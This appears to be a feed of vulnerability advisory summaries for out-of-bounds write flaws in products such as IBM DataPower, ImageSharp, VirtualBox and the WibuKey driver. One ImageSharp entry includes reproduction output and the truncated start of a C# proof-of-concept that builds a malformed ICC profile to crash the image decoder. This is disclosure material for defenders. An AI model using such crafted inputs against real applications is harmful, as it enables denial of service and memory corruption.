IBM DataPower Gateway 10.5.0.0 through 10.5.0.22, 10.6.1 through 10.6.6, 10.6.0.0 through 10.6.0.10, and 11.0.0.0 through 11.0.0.2 could allow a remote attacker to cause a denial of service due to improper bounds checking.
IBM DataPower Gateway 10.5.0.0 through 10.5.0.22, 10.6.1 through 10.6.6, 10.6.0.0 through 10.6.0.10, and 11.0.0.0 through 11.0.0.2 could allow a remote attacker to cause a denial of service due to a heap buffer overflow.
CVE-2026-16178 is a high severity vulnerability in IBM DataPower Gateway versions 10.5.0.0 through 10.5.0.22, 10.6.0.0 through 10.6.0.10, 10.6.1 through 10.6.6, and 11.0.0.0 through 11.0.0.2. It involves an out-of-bounds write due to improper input validation that could allow a remote attacker to cause a denial of service. The vulnerability does not impact confidentiality or integrity but affects availability. No vendor advisory or patch information is provided in the input data.
CVE-2026-16340 is a critical vulnerability in IBM DataPower Gateway versions 10.5.0.0 through 10.5.0.22, 10.6.0.0 through 10.6.0.10, 10.6.1 through 10.6.6, and 11.0.0.0 through 11.0.0.2. It involves an out-of-bounds write in the RFC2047 encoded-word parser that could allow a remote attacker to execute arbitrary code without authentication.
Insufficient API bounds checking in phalFelica in NXP NXPNfcRdLib RC663 through 07.14.00_Pub may allow an attacker with privileges or an untrusted third party to access unintended memory regions, potentially leading to limited loss of confidentiality, integrity, and availability. All software versions from 07.18.00 onwards have fixed this problem.
CVE-2026-107221 is an out-of-bounds write vulnerability in the qax-os excelize library affecting versions from 2.0.0 up to and including 2.11.0. The flaw occurs in the checkRow function when processing spreadsheet rows with cells that are not sorted by column in the XML, causing an index out of range panic and process crash. This affects worksheet API calls such as GetCellValue, GetCellFormula, CalcCellValue, GetMergeCells, and SetCellValue. The vulnerability leads to an unauthenticated denial of service via a deterministic panic. A fix involves correcting the sizing of internal data structures to handle unordered cells properly.
CVE-2026-56851 is a high severity vulnerability in the golang.org/x/text/secure/precis package. It is an out-of-bounds write issue (CWE-787) affecting versions prior to 0.41.0. The vulnerability can cause denial of service due to application crashes but does not impact confidentiality or integrity.
Out-of-bounds write via the TLS 1.3 handshake message cache in NetX Duo in Eclipse ThreadX NetX Duo 6.5.1.202602 allows a handshake message larger than the cache writes past it and on into the rest of the session control block, which holds pointers. A malicious or compromised server can make a TLS 1.3 client produce such a message before certificate authentication completes, so no server certificate is needed to reach it.
CVE-2026-102163 is a high-severity out-of-bounds write vulnerability (CWE-787) affecting Arista Networks Wi-Fi Access Points with Wireless Intrusion Prevention System (WIPS) enabled. An unauthenticated attacker within radio frequency proximity can send a crafted frame to crash the sensor service, disabling WIPS monitoring or potentially achieving remote code execution. No wireless association or authentication is required to exploit this vulnerability.
CVE-2026-106118 is a high-severity out-of-bounds write vulnerability in SixLabors ImageSharp, a 2D graphics library. The flaw exists in tiled TIFF decoding from versions 3.0.0 up to but not including 4.1.1. It occurs because the destination buffer is allocated based on TileWidth, but decompression uses the full frame width, causing writes beyond the allocated buffer when TileWidth is smaller than ImageWidth. This leads to heap corruption and process termination. The issue is fixed in version 4.1.1.
ImageSharp is a 2D graphics library. From 3.0.0 until 4.1.1, decoding a strip TIFF using CCITT Group 3 or Modified Huffman compression can pass attacker-expanded runs to BitWriterUtils.WriteBits without first checking the current row width. T4TiffCompression.WritePixelRun can accumulate oversized makeup-code runs, and ModifiedHuffmanTiffCompression.Decompress validates the width only after writing. The unchecked writes can overflow the strip buffer, corrupt heap memory, and terminate the process. This strip-path vulnerability is distinct from the tiled decompressor-width mismatch. This issue is fixed in version 4.1.1.
CVE-2026-106115 is an out-of-bounds write vulnerability in the TIFF CCITT Group 4 encoder of SixLabors ImageSharp, a 2D graphics library. Versions from 2.1.0 up to but not including 4.1.2 are affected. The issue arises because the encoder allocates insufficient buffer size, while the compression function can write beyond this allocated memory, leading to memory corruption and potential process termination. This vulnerability is fixed in version 4.1.2.
SixLabors.ImageSharp versions 2.0.0 through 4.1.1 contain an out-of-bounds write vulnerability triggered when decoding a specially crafted 32-bit floating-point TIFF image as Image<HalfVector4> and applying HistogramEqualization(). The issue arises from an unchecked luminance-derived histogram index that can be out-of-range due to positive-infinity TIFF samples, causing an AccessViolationException and process termination. No active exploitation is known.
### Summary
When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with
more than four output channels can corrupt memory during ImageSharp color
conversion. The ICC parser accepts up to 15 CLUT output channels, while the
conversion implementation stores intermediate values in `Vector4`.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**
- Affected range: `>= 4.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
The reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.
### Details
`IccClut` accepts one through fifteen input and output channels. In the
reproduced `A2B0` LUT16 path, an attacker-controlled profile declares three
input channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87)
passes a pointer to a four-float `Vector4` result into interpolation code that
writes one float per declared output channel. It consequently writes fifteen
floats. The same LUT16 tag also has fifteen output LUTs; their
[`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58)
implementation uses `Unsafe.Add` from the first float of a four-float `Vector4`.
An application reaches this code by decoding an image containing the profile
with `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the
default and does not run ICC conversion.
### Reproduction environment and result
The supplied exploit and control were run against the published NuGet 4.1.1
`net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30.
The control changes only the declared output-channel count from fifteen to
three and completes successfully. The exploit terminates with exit status 139
before it reaches the completion marker. This runtime PoC establishes memory
corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which
unsafe write first corrupts the stack. The full self-contained Docker PoC is
included below.
Complete control output:
```text
mode=control output_channels=3
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=204
decode_completed
Docker exit status: 0
```
Complete exploit output:
```text
mode=exploit output_channels=15
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=207
Docker exit status: 139
```
No active exploitation is known.
### Impact
Applications that enable ICC conversion while processing attacker-supplied
images can be made to terminate through memory corruption in the reproduced
LUT16 CLUT/output-LUT path. This report is limited to output-channel counts
greater than four in that path; it does not claim a TRC issue or other
unreproduced ICC paths.
### Complete PoC files
Program.cs:
```csharp
using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;
static class Program
{
private static void U32(Stream stream, uint value)
{
Span<byte> bytes = stackalloc byte[4];
BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
stream.Write(bytes);
}
private static void U16(Stream stream, ushort value)
{
Span<byte> bytes = stackalloc byte[2];
BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
stream.Write(bytes);
}
private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));
// A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control
// difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.
private static byte[] BuildIcc(int outCh)
{
const int inCh = 3;
const int clutPoints = 2;
const int tableEntries = 2;
using var stream = new MemoryStream();
byte[] header = new byte[128];
BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device
Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
stream.Write(header);
CVE-2026-106110 is a high-severity out-of-bounds write vulnerability in the SixLabors ImageSharp 2D graphics library affecting versions from 2.0.0 up to but not including 4.1.2. The issue occurs in the TIFF CCITT Group 3 encoder, which allocates an undersized buffer for compressed data in narrow 1-bit images. This leads to unchecked writes beyond the allocated memory during compression, potentially corrupting process memory and causing process termination. The vulnerability is fixed in version 4.1.2.
Oracle VM VirtualBox versions prior to 7.2.8 contain a vulnerability in the PCNet network device model where guest OS users can trigger an out-of-bounds write in the host OS memory. This occurs in the pcnetReceiveNoSync function within DevPCNet.cpp and could allow guest OS users to compromise host OS memory integrity. The vulnerability has a high CVSS score of 9.1, indicating a severe impact on integrity and availability without requiring privileges or user interaction. Multiple specific versions, including many Ubuntu package versions, are affected. No explicit patch link or vendor advisory is provided, so patch status is not confirmed. No known exploits in the wild have been reported.
CVE-2026-84854 is a high-severity vulnerability in the WibuKey driver for Windows versions prior to 6.72. It involves an out-of-bounds write caused by insufficient validation of user input when calculating the size of a kernel buffer. This flaw can lead to system crashes and, in some cases, modification of adjacent kernel memory.